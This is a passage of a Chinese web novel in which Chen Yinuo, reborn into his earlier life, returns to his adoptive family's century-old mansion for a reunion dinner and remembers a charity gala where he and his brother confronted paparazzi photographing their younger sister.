说起厉冬,陈宗礼脸色黯了黯,很快又恢复:“法务已经介入,该判刑判刑,该罚款罚款。” 陈一诺记得,厉冬是陈宗礼一手提拔上来的得力助手,期许颇深,否则不会给机会对方跟莫多里谈判。可陈宗礼说得如此轻描淡写,挺让他意外的。 “喂,你们两个,聊够了没!!” 他们同时抬头往前看,停车场的一辆库里南旁边,站着恭候多时的王之初,以及满身杀气的陈宗瑜。 为了避嫌,他们在会场内没任何交流,中标后,得知真相的陈宗瑜心情爆炸。现在只想找人兴师问罪。 她快步走到两人面前,毫不淑女地双手叉腰:“你们真的很离谱!我当你们哥哥,你当我是工具人!居然连我都瞒着!” 她看着陈宗礼气不打一处来:“你知道我天天为了Ellen的事操碎了心!觉都睡不好!结果,你们在一旁看我笑话!” 陈宗礼知道妹妹的脾气,解释得有理有据:“你怎么可能是工具人,你特别重要!要不是你真情实意的操心,我们怎么可能发现厉冬是间谍,怎么可能骗他跟贺朝阳通风报信?” 这么一听,好像有点道理。 但气还是要撒,陈宗瑜转头把怒意对准陈一诺:“还有你!那天在饭店门口,连招呼都不跟我打!把我当空气!” 陈一诺伸手要拉她,被她甩开,他无奈哄道:“当时,贺朝阳就在车里,我打招呼不就暴露关系,前功尽弃了?但你骂得对!我错了,该打!你要什么尽管开口,哥哥给你买!” 吃人的嘴软,拿人的手短,话都说这份上了,陈宗瑜也气不下去,脸色由阴转晴。 她哼了声,强势插进两个哥哥之间,一手挽一个,像小时候一样,拉着他们大步往车的方向走。 傲娇道:“行吧,走走走,先吃饭!等我回去好好列一个List,买得你们倾家荡产!” …… 陈宗瑜说吃饭,陈一诺直觉以为是在外面随便找个酒店吃一顿。 谁知道,车开半小时后,他发现路越开越不对劲。 陈宗瑜眨着一双笑眼,试探着:“家里知道我们一起拿下羽南港,特别高兴,奶奶特别叮嘱让我一定要把你带回家。一诺哥哥,你……会去的吧?” 陈一诺的脸色变了变,当初,他被送出国,反应非常激烈。那几年断了跟陈家所有人的联系。虽然,陈老太有派人暗中关照,却只敢私下的照应,不敢明目张胆。就怕他反应激烈拒绝了。 这次,陈一诺回港城几个月,每次出现都闹得满城风雨,却迟迟没主动提出要回陈家。 外面的人看来,陈一诺跟陈宗礼不合,连带认为跟陈家关系也不好。两人之前的秘密合作,怕贺朝阳察觉,见面只能选隐秘的地方,就怕打草惊蛇。 可如今,他们一起拿下羽南港,老太太才有借口,光明正大地派陈宗瑜把人带回家一起吃个团圆饭。 不是陈宗礼,也不是陈老太,而是陈宗瑜。 因为陈家所有人都知道,他跟陈宗瑜感情好,把她当亲妹妹。当年知道他被送出国,陈宗瑜嚎啕大哭,眼睛肿了好几天。所以,由她开口,陈一诺最难拒绝。 陈家人心眼真多。 他剜了一眼陈宗礼,不太客气:“挺厉害啊,先把人拐上车,再叠加一个美人计……” 让人碍于情面,无法拒绝。 陈宗瑜被喊“美人”心花怒放,嘴甜道:“用美人计是真,大家想你了也是真,择日不如撞日,一顿饭而已,去吧去吧!” 陈一诺怨怼的目光落在陈宗礼身上,陈宗礼心虚,只敢说:“对啊,我们真的特别想你。” 王之初也在旁边使劲:“去吧去吧,兰姨做的三杯鸡,我好多年没吃过了。” 哎呀,想起兰姨的三杯鸡,陈一诺的肚子非常不争气,发出一声“咕噜”。 “咕噜”声很大,整个车厢都听见了。陈一诺尴尬地愣了下,陈宗瑜笑容瞬间开花,她朝王之初抛出一个肯定的眼神,开始报菜名:“不但有三杯鸡,还有冰皮乳鸽、黄鳝煲仔饭、萝卜炖牛腩……” “咕噜——咕噜——咕噜——” 陈一诺肚子里的馋虫仿佛成精,陈宗瑜嘴里每蹦出一道菜名,它就叫一声,应援似的,臊得陈一诺满脸通红。 钢铁的意志在生理需求面前全线崩塌。 坐他旁边的陈宗礼一直努力压着嘴角,像逗小狗似的低声逗他:“听说还有燕窝蛋挞。” “咕噜——” 陈一诺生无可恋地捂着肚子,看向窗外。 感叹:操,馋虫害人啊。 …… 有了刚刚的玩笑,车内的气氛缓和不少。陈一诺歪头看着沿途风景,心里的紧张感混杂着故地重游的感慨,一时间五味杂陈。 库里南在一个十字路口缓慢停下。 这是一个特别的十字路口。直行通向港城最密集的平民住宅区;左转则通往港城著名的富人区:港坪山顶。 港城的富人区不止一处,唯独港坪山顶门槛最高。有钱只是准入门槛,港城富豪众多,有的一辈子只能带着艳羡目光在外围仰望。 时至今日,陈一诺仍然认为港城残忍的其中一点——仅仅一个红绿灯,便区隔了阶层。 陈一诺的思绪还在往事中飘荡,车左转直行几十米后,出现一条斜往上的山路。 路两旁种满黄金风铃木,每年2月底,漫天都是生机勃勃的金黄小铃铛,像给盘山路铺上了一条绵延的黄金帷幔。春风轻轻吹过,花瓣缓缓飘到地上,铺成了金黄地毯,又是另一种浪漫。 陈一诺记得有一年,黄金风铃木一夜开满,陈老太太抓着三个孙子,说要去拍照。 三人分工迅速,陈一诺负责摄影,陈宗瑜负责指导动作,陈宗礼负责……氛围。 陈一诺上蹿下跳地调整摄影角度,手指按着相机快门,对着老太太一顿“咔嚓咔嚓”连拍。 陈宗瑜站在一旁交叉双手,“手放这里,脚放这里”,美术指导似的指挥老太太摆各种PO。 唯独陈宗礼丧着一张脸,怀里不情不愿地掬起一捧明明黄色的花瓣。 按照陈一诺的指示,在按下快门的瞬间,把花瓣抛向天空,制造漫天落花的氛围。 那副“要不你们杀了我”的表情,以及堪比AI的机械动作,比随风散落的“风铃木雨”还让陈一诺记忆深刻。 第34章 进入港坪山顶住宅区,保安审核关卡多了许多,陌生车辆几乎每个路口都要接受搜查。 坐在副驾的陈宗瑜喃喃:“这辆车没登记,刚好遇上小周末,这队得慢慢排了,一诺哥哥你再撑一会啊?” 陈一诺摆摆手:“没事,你别再报菜名就行。” 他的视线穿过长长的车龙,已经能看见不远处陈家老宅外的围墙。 重生后,他一直不敢回来,理由并不是大家以为的他被赶出国,跟陈家老死不相往来。随着上辈子陈宗礼和陈老太先后离世,这样的恩怨,对他而言太微不足道。 让他忐忑不安,逃避回来的主要原因,发生在上辈子,他出狱以后…… 那时,他在狱中苟延残喘,虽然断了双腿,好歹拣回一条命。陈宗瑜推着轮椅,把他这个残疾人从A国接回港城。 那时,陈宗礼被撕票,陈老太太病死,二婶也病重。 整个陈家,只剩下陈宗瑜一个女生苦苦支撑。本是金尊玉贵养着的千金大小姐,重压之下,老了十岁。不到三十每个月都要去染一次头发,遮盖头顶的银丝。 陈一诺看在眼里,心疼不已,哪里舍得让她继续扛。他回港城不久,就撑着破败的身体,着手管理天峻。那时,天骏集团面临恶意收购,为了筹集资金,只能把这座百年老宅变卖。 还记得,上辈子他最后一次来老宅,是陪宗瑜签售卖合同。 这一秒刚签完转让合同,下一秒,陈家老宅的前院就传来电锯的声音——那是新主人让工人锯断老榕树的声音。 老榕树是陈家老宅的标志,更是镇宅之宝。在陈家第一代入住时便种下了,直到陈家第五代依然屹立不倒。老太太说,这课老榕树是见证着陈家家族百年兴衰的“活化石”。 陈老太还专门在榕树下建了个实木台,中秋时赏月,过年时赏烟花,闲时喜欢坐在树下喝茶、看花……偶尔,他们放学回来,一进门便能看见老太太坐在树下笑眯眯等着他们。 这棵百年历史的参天大树,曾经是他们美好回忆的一个重要部分。 那天的电锯声混着陈宗瑜的哭泣声,持续了大概半小时,一棵经历风雨的百年老树轰然倒塌。 命运如同百年陈家一样。 …… “一诺,下车了。” 陈一诺从上辈子的回忆里回神,车不知不觉已经驶入陈家老宅。 痛苦的情绪没藏好,从灵动的眼眸中溢出,那份说不清道不明的落寞,刚好被陈宗礼捕捉。 陈宗礼没见过他这样的表情,以为他害怕要逃,他打趣道:“放心吧,老太太,近几年开始吃素。” “???”陈一诺没反应过来,“什么?” 陈宗礼笑道:“所以,她不会吃了你,别怕。” 陈一诺才意识到,对方在哄他,也立刻笑了:“我没怕。就是累了……” 陈宗瑜刚下车,听见他们的对话,嚷道:“竞标了一天,当然累!放心,我妈说菜都做好了,进屋就能吃!” 陈宗瑜挽着陈一诺的手臂,边走边说:“待会儿好好补补,看看你,这段时间都瘦了!” 陈宗礼快步往前走,跟他们并肩,调侃道:“只见过他一面,就知道他瘦了?” 陈宗瑜回嘴:“一眼识别胖瘦,这是女人的超能力,你不懂~” 陈一诺听着陈宗瑜跟陈宗礼斗嘴,目光落在主宅旁的大榕树上。 重生一世,它像一个睿智静默的老人,垂手伫立着,等他们走近,用参天密叶替他们铺下一片绿荫。 一阵风轻轻吹过,老榕树垂下的地生根,随风摇曳,仿佛陆上水母,触须擦过陈一诺的肩膀,像跨越生死后的安抚。 陈一诺用只有树能听见的声音,默念道:我回来了。 …… “一诺,回来了呀!” 第一个扑到陈一诺面前的是兰姨。 她年过五十,从小跟在老太太身边,伺候过三代陈家人。现在是陈老太任命的陈宅管家。 家里除了陈老太,她的辈分最高。陈宅里面所有人,包括陈宗礼,平日都对她都很尊敬。 兰姨祖上是上城人,小时候逃难到的港城,被卖到陈宅,年轻的时候爱穿旗袍。如今美人迟暮,还是能看出年轻时的美貌。当初,陈一诺从上城到陈家孤苦无依,兰姨私下做了不少上城小吃哄他。 陈一诺双手回抱她,撒娇道:“兰姨,我太想你了。” 陈宗瑜在一旁打趣:“兰姨,一诺哥哥特别想你的菜。光听见菜名,他肚子就能唱歌。” 兰姨放开他,眼眶有些红:“想我怎么不早点回来?饿了吧,赶快洗手,到饭厅吃饭!” 歪头看向陈宗礼:“宗礼,上楼喊老太太下来吃饭。” 陈宗礼刚要转身上楼,被陈一诺拉住小臂,他说:“哥,我跟你一起。” “你……”陈宗礼刚想说什么,下一秒又妥协:“行,走吧。” 陈家老宅有百年历史,期间经历过几次修整。但依然保留最初的南洋建筑风格。白色砖墙外身、青色木门搭配花窗,简洁又不失韵味。 他们沿着大理石旋转楼梯上二楼,陈一诺跟在陈宗礼身后,慢慢把衬衫扣子扣上,领带系好。整理仪容的模样,被陈宗礼看在眼里,只觉得乖巧。 “叩叩——” 书房内传来老太太中气十足的声音:“进。” 本是普通的一道门,陈一诺却觉得像哆啦A梦的随意门,推开往里走,已故的陈老太活生生地出现在他眼前。 年近七十的陈老太身穿浅蓝丝绸旗袍,梳着利落短发,笑眯眯地看着他们。往常只有在梦里,才能看见的人,如今就在眼前。 陈一诺用力咬紧后牙,才能堪堪抑制自己激动的颤抖。 陈宗礼先说:“奶奶,我们把人带回来了。” 老太太摘下老花镜,目光从陈宗礼移到旁边的帅小伙,声音温柔道:“诺诺,长大了啊。” 自从他的亲奶奶,白凤娇去世后,只有陈老太会喊他“诺诺”,听见这个称呼的瞬间,他猛地攥紧拳头,眼眶瞬间变得通红,他哽咽着:“是,奶奶,您身体还好吗?” 虽然,陈老太已经把天峻交给陈宗礼,自己退居二线,但上位者的气场不减。在两位年轻力壮的总裁面前,威慑力犹在。 老太太点头:“七十了,没病没痛那不可能,总体还行吧。你们少气我就行。” 陈宗礼调侃:“我什么时候气您了?” 她看向陈宗礼,脸色有些阴沉:“听说,这回揪出一个贺家派来的间谍?总裁办的厉冬?” 陈宗礼点头:“对,已经报警了。这个人很谨慎,跟贺家联系相当隐秘,手机、电脑、邮件都没有留下蛛丝马迹,只能交给法务处理。” 陈老太太手指点了点桌面,眉宇一紧,慈祥老太太瞬间变成了当年覆手为云的天峻掌舵人。 “这几年,贺家仗着港商的身份,从内地拿了不少好项目,又让大儿子贺朝风入C国国籍,生意拓展到国外去。二儿子就在港城内的餐饮酒吧里打探情报,做偷鸡摸狗的事。” “一家人各自发力,果不其然,港城首富易主到贺家头上。现在整个港城的富豪都在巴结贺家。” 陈宗礼倒是很自如:“奶奶,别人赶着巴结他们,因为贺家根本不把他们放在眼里。我们不同,在贺家眼里,我们是威胁,是对手。这次的间谍,要不是一诺提醒,我短时间还发现不了。” 陈老太上斜眼看着他,眼里满是担忧,“李家纯已经搭上贺家的线,开始跟内地搞关系,董家的董嘉华在C国跟贺家也有合作开发项目。” “别人都抢着跟贺家联手谋合作,你们两兄弟倒是另辟蹊径,联手得罪贺家。” “我们做生意,利字当头,哪有一辈子的敌人?跟贺家针锋相对,有必要吗?” 贺家的厉害之处在于,一方面不断拓展商业版图,另一方面通过交换利益结交盟友。 陈家却完全相反,不但不结交,反而站在贺家对立面,眼看已经被排挤到悬崖边。 过去,陈老太因为辈分的问题,对他们各家都有提携,各家对陈家这位“老大哥”还有一丝尊敬。 如今,陈宗礼一个毛头小子站在天峻掌舵者的位置,被贺朗为首的一群长辈杯葛。加上,天峻内部新旧势力交替,此消彼长。天峻这艘巨大的轮船,虽然外表光鲜,实际上沉疴已久,要维持现状已然不易,更别说对抗外面的联盟。 老太太主张以和为贵,对陈宗礼的激进做法一直非常担忧。 陈宗礼却不以为然:“如果贺家适可而止,我也不会对他们出手。是他们先越界了……” 陈一诺站在一旁安静听着祖孙两人讲着天峻的现状,一边替陈宗礼着急,一边有种久违的踏实感。 他开口道:“就是!奶奶,贺家不但给天峻安插间谍,我公司里也有他的眼线。” “他们用心险恶,我们不可能跟他们合作。再说,你不用担心天峻孤军作战。虽然,一星刚回港城还没站稳,但好歹算一个助力。您放心,从今往后,哥不再是单打独斗。” 说到这儿,陈宗礼意味深长地看着看他,嘴角不可觉察地上扬。 陈老太看来,一星就跟刚学走路的婴儿,自顾不暇,但心里抱着当年把陈一诺送出国的歉意,没再多说。 只道:“你们兄弟守望相助自然最好。你跟莫多里的收购,还有羽南港竞标上的表现,我都听说了。做得好。” 陈老太这句夸赞,含金量很高。她笑道:“羽南港既然拿下来了,就好好做。” 陈一诺深吸一口气,说道:“肯定的!” “奶奶,接下来,我会在港城待一段时间,至少等羽南港上轨道。而且……我想家了。” 陈一诺一句“想家”,让陈老太眼神有些动容。当年,陈老太对陈一诺也曾关怀备至过。可碍于各种压力,不得不把人送出国,中间更是数年不联系。 本以为,陈一诺心里早就不把这里当家了。可如今,听见他突然来了这么一句,内疚之余更多的是心疼。 片刻后,老太太开口:“想回就回,兰姨早把你以前住的地方收拾过了。” 有老太太这一句,陈一诺彻底松了口气。 当初,为了保陈宗礼,老太太把他送出国的态度非常坚决。本以为,她还忌惮陈一诺,容不得他留在港城。他甚至做好了继续把LS酒店当长租房的准备。 还好,老太太松口了。 这下,悬着心总算放下,他能名正言顺留在港城帮陈宗礼的忙。心里积压的压力,瞬间轻松不少。 老太太看看时间,缓缓起身:“差不多到饭点了,待会你们下去,记得哄一哄你们二婶。” 陈宗礼反应很快,问道:“怎么了??” 空调太冷,陈老太伸手扯了扯肩上的披肩:“吴丹妮打电话过来,你二婶接的,为了今天竞标的事,两人吵了几句。贺家现在不一样了,首富太太说话更难听。” 吴丹妮是贺朗的夫人,贺朝风兄弟的母亲,还是陈宗礼二婶吴淑芬的表姐。这人喜欢拜高踩低,并不受人待见。有今天竞标的事在前头,闭着眼都能知道她说了什么难听的话。 陈宗礼挑眉,把陈一诺推出去:“放心吧,二婶看见一诺回来,自然能高兴。” 陈老太看着一头雾水的陈一诺,笑道:“也是。” 第35章 从书房出来,满屋子飘满了饭菜香,陈一诺的肚子似乎养了馋蛊,又不合时宜地“咕噜”一声。 陈宗瑜跟母亲吴淑芬,坐在饭厅聊家常。看他们下楼,立刻嚷道:“哎哟,你们工作狂总算聊完了,快来快来!我都要饿死了……” 陈老太嗔怒看她:“小姑娘说话怎么总是死啊死的,也不觉得晦气。” 陈家吃饭用餐桌是紫檀木圆桌,人与人之间距离近,见证了陈家几代人的分离团圆。 陈老太坐主位,左侧坐着吴淑芬母女,右侧坐着陈宗礼,陈一诺和客人王之初。 兰姨陆陆续续上了满桌的菜,说道:“知道你回来,这些菜,二少奶让厨房张罗了一天。” 老太太还没起筷,二婶吴淑芬不顾礼数,直接把一只挂满浓稠酱汁的三杯鸡腿夹到陈一诺碗里。陈一诺连忙毕恭毕敬地用碗接过。 “一诺在国外那么多年,平常也喝不到家里的汤水,现在回来了,肯定要好好补补呀。” 吴淑芬喜欢陈一诺,当初送他走,她跟陈宗瑜都不乐意。看他回来,屁股还没坐热,就想方设法把人留下。 兰姨边分汤,边看看陈一诺:“看着比念书的时候还瘦,这个花旗参响螺汤,补补气血啊。” 吴淑芬接着说:“对,最近羽南港比稿那么辛苦。多喝几碗。” 陈宗瑜边喝汤露出半只眼睛嘀咕:“我们几个也都比稿了呀……” 吴淑芬这才回头看陈宗瑜:“我还不知道你?每天按时上下班,累也是宗礼累。我看昨晚也熬了个通宵。” 陈宗礼跟旁边的陈一诺对视一眼:“应该都没睡好吧,提案前一天都紧张。” 陈一诺惊讶:“你也紧张?” 陈宗礼淡然:“陈一诺,我是人啊。是人都会紧张的。” 陈宗瑜笑道:“你在我们心里,早就不是人了~” 吴淑芬看了一圈圆桌上的人说说笑笑,感慨道:“这老宅大是大,平时你们总加班,这圆桌就我和老太太吃饭,都坐不满。一诺,你以后带上小王,多回来尝尝兰姨的手艺。” 陈老太把吴淑芬对陈一诺的偏爱看在眼里,手里的汤勺虚点了点陈一诺。 “知道你二婶多想你了吧?赶紧收拾收拾搬回来吧。”转头对吴淑芬说,“记得提醒他们把一诺的房间收拾出来。” 当年,把陈一诺送出国时,闹得太不愉快。陈一诺也把他们拉黑很久。本以为,他肯回家吃饭已经是让步,没想到还能搬回来住。 吴淑芬一双桃花眼,弯成月牙,嚷道:“一诺要搬回来吗?” 陈一诺点点头:“对,喜欢住家里。” 吴淑芬拍拍手:“那太好了!我现在就吩咐他们。” 陈一诺面前一勺汤没送到嘴里,就被吴淑芬吓得连忙起身。 “不着急,二婶!我今晚还要回去酒店收拾行李,明天吧,明天再搬回来,我们先把饭吃完。” 陈老太看吴淑芬火急火燎的模样,也发话:“就是,急什么,先吃饭!他还能再跑了?” 陈宗瑜阴阳怪气:“奶奶,看到了吧。我妈就是偏心一诺哥哥。你不知道,刚刚在客厅匆匆一瞥,就拉着我夸了半天。” 被戳穿的二婶一点不害臊,她俯身往前对陈一诺说:“呐,我小时候就喜欢一诺,特别想你当我女婿,我现在还是这么想的哦!” “以后,宗礼配思维,你配宗瑜,怎么样?” “噗——咳咳咳——” 陈一诺被吴淑芬语出惊人吓到,汤呛到气管,陈一诺咳得浑身发抖。 陈宗礼连忙把手边的餐巾,递给他,低声道:“擦擦……” “谢……咳……谢……” 突然“被安排”的陈宗瑜气不打一处来:“妈!小时候的玩笑你还当真了,我们是兄妹怎么能在一起呢!” “怎么不能了?你们又不是亲的,总比庄家那小子好吧!你看我们一诺,要颜值有颜值,要事业有事业,最紧要知根知底!” 陈宗瑜不服:“庄嘉轩怎么了?颜值事业也不错,庄家跟我们家关系也好,庄嘉轩还是陈宗礼发小,还不够知根知底?” 二婶难得冷了脸:“哎呀,你这审美真的完全不随我啊。庄嘉轩那痞里痞气的模样,能跟一诺比?再说,人家也不搭理你啊,别自作多情了。” “你才自作多情!” 两母女你一言我一语,搅得餐桌上闹哄哄的。 被无辜卷入话题的陈一诺,因为激烈的咳嗽,眼尾连着鼻尖都红了,莫名有些可怜。 陈宗礼凑到他耳边,话里带着笑意道:“知道二婶喜欢你,没想到那么喜欢啊。” 陈一诺啧了声,皱眉问:“你别笑了。我配陈宗瑜?二婶怎么想的……” 陈宗礼撇撇嘴:“想豪门那些事呗,包办婚姻那种,你懂的。” 陈一诺喝了一口水,揶揄他:“啊,就是你跟李思维那种呗,没你懂。” 这语气旁人听来是兄弟间的阴阳怪气,陈宗礼却嗅到了醋意。 他耳眼眸里闪烁,喉头滚了滚:“宗瑜也挺好的,不考虑考虑?” 陈一诺惊讶:“我疯了?那就是我亲妹!你会喜欢自己妹妹吗?” 陈宗礼眼神黯了黯,他是不喜欢自己妹妹,但喜欢自己弟弟…… 陈一诺继续道:“再说,还有一个庄嘉轩呢。对了,他回来之后,跟宗瑜见面了吗?” 陈宗礼往他碗里夹了一块牛腩,脑子里想起那天庄嘉轩的暴跳如雷:“见了,一如既往的鸡飞狗跳。” 陈一诺:“啧啧啧,从那年慈善晚会开始,算算啊,快7年了吧。” “是吗?”陈宗礼有些恍惚,也跟着算了算,感慨道:“确实7年了。” …… 说起陈宗瑜跟庄嘉轩,也是一段孽缘。 有一年,还是懵懂少女的陈宗瑜,听说两个哥哥要去看跨年烟花,吵着要去。那时,庄嘉轩为了当古惑仔,专门学开摩托。用尽方法,让家里买了辆哈雷。 新车落地,迫不及待地拉着陈宗礼比一场,展示摩托技术。 于是,跨年那天,陈宗礼载陈一诺,庄嘉轩载陈宗瑜,比赛谁先抵达。 途中,两辆摩托车跑散了。 庄嘉轩他们遇到一辆摩托,后座上的女生,是陈宗瑜同学,为人非常嚣张。常炫耀自己男朋友多厉害。于是,陈宗瑜求庄嘉轩假装自己男友。 庄嘉轩讲义气,一口答应下来,让陈宗瑜抱着他的腰,拼命加油超过了对方的摩托车。替她出了一口气。 本来,只是假装情侣,随着“吊桥效应”消失早晚会过去。殊不知,这场毛毛雨,病变成了台风,把陈宗瑜那颗少女心搅得天翻地覆。满心满眼只有一个庄嘉轩。 那年,不但陈宗瑜,港城也经历了一场名为“尼亚”的超强台风。台风登陆前,谁都不在意。陈一诺放学后,还打了一场篮球,看见雨滴落到地面,以为是自己的汗。那天的最后,是陈宗礼让司机强行把他带回家的。 最后,“尼亚”台风席卷了圣保罗教学楼的所有窗户玻璃,校道两旁的小叶榄仁被连根拔起,横躺在路中间。 圣保罗损失惨重,何况整个港城。为了赈灾济贫,TVA特意举办慈善晚会,号召明星们浑身解数吸引捐款,城中富豪慷慨解囊。还有100条电话热线,开放给广大市民,边看边捐款。 作为TVA幕后大老板,港城四大家族的陈家,自然在受邀名单上。最终,在陈老太慎重考虑下,决定带着三个孙辈出席宴会。 为了避免媒体打扰,陈老太很少让孙辈们在公众场合露面。但是,众志成城做善事,陈老太为了行善积德,提升慈善晚会的话题性,主动把他们带到镜头前。 那天,陈家的库里南停在电视台门口,陈老太和孙辈们陆续下车,男生西装笔挺,英俊潇洒,女生礼服长裙,高贵端庄。一出场就谋杀不少狗仔的菲林。 那年的慈善晚会明星阵容鼎盛,富豪们踊跃捐款,破了TVA慈善晚宴的记录。 晚宴结束后,晚会主办方,还筹备了一个庆功酒会。大人们在觥筹交错,小鬼们就坐不住了。 先是陈宗瑜跟闺蜜神神秘秘溜走,剩下陈宗礼和陈一诺大眼瞪小眼。 陈宗礼看陈一诺无聊得开始刮红酒瓶的酒标,笑着问他:“想不想逛逛影视城?” 陈一诺当了一天乖宝宝,快无聊发霉了,他瞪大眼睛:“影视城?!远吗?” 陈宗礼逗他:“也就一小时车程吧。” 陈一诺瞬间蔫了:“啊……奶奶还在呢,算了吧。” 陈宗礼放下手里的香槟,背着手凑近道:“逗你的,这里就是影视城,走吧。” TVA作为港城最大的电视台,自制不少影视精品。为了方便拍摄,陈家注资扩大了电视台的规模,增加了影视城,还根据年代剧的需求,在户外搭建了古装街、民初街以及现代商业街。 他们从宴会厅出来走了10分钟,穿过某扇门,他们两个现代人就直接站在古装街的路中央。 陈一诺眼睛都直了,他在路中央自转了一圈,嚷道:“卧槽!哥,我们穿越了?” 这是陈一诺第一次穿西装,也是第一次光顾阿墨的店。 为了慈善晚会特别做了造型,阿墨把陈一诺两鬓全剃,看起来利落又干净,西装笔挺修长,眼里全是光,活脱脱一个豪门贵公子。 “我跟你说,我小时候以为电视剧里的人都是真的,有一年,有部古装电视剧特别火,里面的女主角死的时候,我嚎啕大哭。” “结果,那年风月的年会请了那部剧的女主角。她突然出现在我面前,我就吓呆了。我走过去就抱着她,哭着说,太好了你还活着呀!” 陈一诺自己边说边笑:“这段黑历史,我奶奶逢人就讲。她说,演戏的是疯子,看戏的是傻子。说我就是个正宗小傻子。” “你早就知道戏是假的么?” 陈宗礼笑了:“我从小就跟老太太到这里视察,电视里的人我还要给他们发工资,你说呢……” 陈一诺撇嘴:“有什么了不起,我从小还跟我爷去赌场视察呢。” 傲娇的小傻子一边说个没完,一边踮着脚往前走,好奇小狗似的,左看看右看看。陈宗礼落后他几步,看着他背影放空。 学业和工作双重压力之下,陈宗礼像一条紧绷的弦。难得跟陈一诺走在仿古街上,听他说话,看他笑,疲惫的身体仿佛在充电。 “小傻子,往这边走。” 一个拐弯,他们从古装街转到了现代商业街,他们走进一栋带泳池的富人别墅。 今晚的慈善晚会其中一个节目,让某位顶流小鲜肉在倒满冰块,水温只有几度的泳池里挑战“伪冬泳”。为了增加难度,除了冰块,还倒了满满一泳池的彩色塑料球。 当时的规则是,男明星游一个来回,台下某位富豪就捐出五十万,连续游十个来回,就捐五百万,上不封顶。 最后,小鲜肉一口气游了20个来回获得近千万善款。从镜头看到,小鲜肉从泳池里起来的时候,脸色发白,嘴唇发青,甚至还冻出两行鼻涕。看此惨状,富豪又额外追加了两百万。 他们抵达泳池的时候,工作人员已经离场,泳池里只剩下彩色塑料球和零星冰块和浮在水面,有种热闹喧嚣后的萧条。 陈宗礼和陈一诺进去逛了逛,刚准备离开,突然听见一个熟悉的声音。 “陈宗瑜,你想干嘛?” 陈家两兄弟对了一个眼神,非常默契地退到角落,只剩两个脑袋一上一下从墙角伸出来,偷听八卦。 不一会儿,陈宗瑜拉着一个男生,磨磨蹭蹭走到泳池旁。他们隐藏的角度看不清男生的正脸,只看得见他穿着黑衬衫卡其西装裤,背影宽阔。 陈宗瑜嚷道:“你为什么不回我消息?” 男生冷冷地应道:“不想回就是不想回,哪有那么多为什么?” 陈一诺的脑袋从墙角缩回,他问:“嘿,这小子挺拽!这个背影好眼熟,哥,你认识吗?” 陈宗礼早认出来了,无语道:“你说呢?” 陈一诺误以为他也不认识,摸摸下巴沉思:“嘶,到底是谁呢……” 他们的疑惑没持续多久,陈宗瑜就揭晓了答案。 “既然你消息不回,电话不接,那我们就面对面说清楚!庄嘉轩,你到底想怎么样?!” “哦~~~~~” 确认了男生身份的同时,陈宗礼和陈一诺回头看着彼此,交换了一个眼神,同时低声道: 陈宗礼:“她喜欢上庄嘉轩了?” 陈一诺:“庄嘉轩是不是练背了?” 陈宗礼:……—— 作者有话说:看出来了吧,我们一诺,从小就没一点恋爱细胞。[坏笑] 第36章 陈宗礼罕见地翻了个白眼,手指敲了敲卷毛脑袋:“你这观察力,怎么考年级第一的?” 陈一诺摸着被敲的脑袋,咂摸出陈宗礼的话:“你是说,宗瑜和庄嘉轩……他俩早恋?” 那边,庄嘉轩话里带着无奈,问道:“你才几岁啊,人小鬼大,知道什么是喜欢吗?小心我告诉你哥!” 陈一诺补充:“啊,原来是早恋未遂。” “不过凭什么啊?我们宗瑜要颜值有颜值,要家势有家势。他凭什么看不上?” 陈宗礼疑惑地看他:“这是重点吗?宗瑜才几岁啊,谈什么不好贪恋……” 陈一诺用怪异的眼神看他:“你才大我三岁,怎么那么古板。年纪小怎么了?年纪小也有权利追求浪漫,追求爱啊。” 陈宗礼吐槽:“你怎么不追求浪漫,追求爱?” 陈一诺被陈宗礼堵得一时语塞,说道:“我是没有喜欢的人,哪天有了,肯定也追啊。” “是吗……”陈宗礼淡淡回了句,若有所思地把视线移回泳池方向。 两兄弟为人都光明磊落,被迫偷看自家小妹情窦初开名场面,怪尴尬的。 陈宗礼呆不下去,凑近陈一诺耳边低声道:“不听了,走吧。” 学校里有个说法,陈宗礼上辈子估计拯救过银河系,所以这辈子连声音都是让人腿软的渣男音。 陈一诺不知道什么是渣男音,只知道,刚刚那句话,让他整个人像过电一般战栗,全身的毛孔被电得尖叫竖起。 他愣了愣神,抬头看见陈宗瑜背后有一束光闪过,接着敏感地按住陈宗礼:“哥,那边好像有人在偷拍!” …… 陈一诺来港城之后,因为身份太神秘,一直被狗仔跟踪偷拍,久而久之对镜头非常敏感。 难得今天慈善晚会星光熠熠,陈老太还罕有带孙辈出动,狗仔们费尽心机,长枪短炮正等着要拍独家。 结果,发现宴会后,陈家兄弟跑到影视城,于是又一路尾随他们到别墅。没逮到两兄弟,居然逮到陈家三小姐和庄家二公子“偷情”,这样的“大独家”怎么可能忍得住不狂按快门! 这个别墅是为了TVA剧集拍摄临时搭建的,外围没有围墙,只有一圈假绿植格挡。 狗仔们躲在绿植后面,“咔咔咔”地按快门。其中一个新手忘了关闪光灯,被旁边的男人脸上有一道疤,骂了几句,幸亏没别发现,“咔咔咔”又继续拍。 突然,新手的肩膀被一只手按住,带着压迫感的声音从耳后传来:“喂,拍够了没?” 两个狗仔同时转身,看清楚身后的两个西装少年,上斜眼的那位气势逼人,旁边的小卷毛挑起嘴角有些邪气。 脸上有疤的叫老K,行业资历较深的狗仔,他认出陈家两个少爷,瞳孔震惊,下意识护住自己的相机。 “你你你……陈宗礼,你们想干什么?!” 陈一诺二话不说,一把抢过新手的相机,三下五除二把里面的储存卡掰了,目光狠戾。 “这里不许偷拍,也不欢迎狗仔!” “你的呢,交出来!” 老K警惕地看着眼前的两个人,除了家世显赫,他心想,不过就是两个小孩,要打肯定是能打过的。 他倔着脑袋,倚老卖老:“我……凭什么给你?!你这是损害私人财产,我可以告你的!” 陈宗礼听他说完,上斜眼挑了挑,一米九的身高,让他不到20岁,已经相当有压迫感。 他从兜里掏出几张钞票,甩在老K面前,冷着声音:“储存卡拿来,我赔你钱。如果执意不给,我只能强抢。或者直接告你擅闯加偷拍,陈家律师团的能力,你应该很清楚。” 老K本来是东兴杂志的记者。因为早前杂志造谣陈一诺“私生子”,被陈家的律师团告了,最终杂志社破产,他只能改行当狗仔。为此,对陈家忌惮又痛恨。 新手已经被吓得走不动了,他惊恐地看着老K,看上去无比忐忑。 老K面色不改:“有空抢我的储存卡,不如好好教育三小姐……才几岁呢,就学会偷情。” 陈宗礼敛起脸色,一句话落地:“有本事再说一遍?” “砰——”陈一诺冷不丁地一拳直接砸到对方脸上。因为掌控赛车方向盘需要极强的臂力,这一拳直接让老K往后仰躺,砸倒了一排假绿植。 轰然倒塌的绿植,惊动了别墅里的陈宗瑜和庄嘉轩。 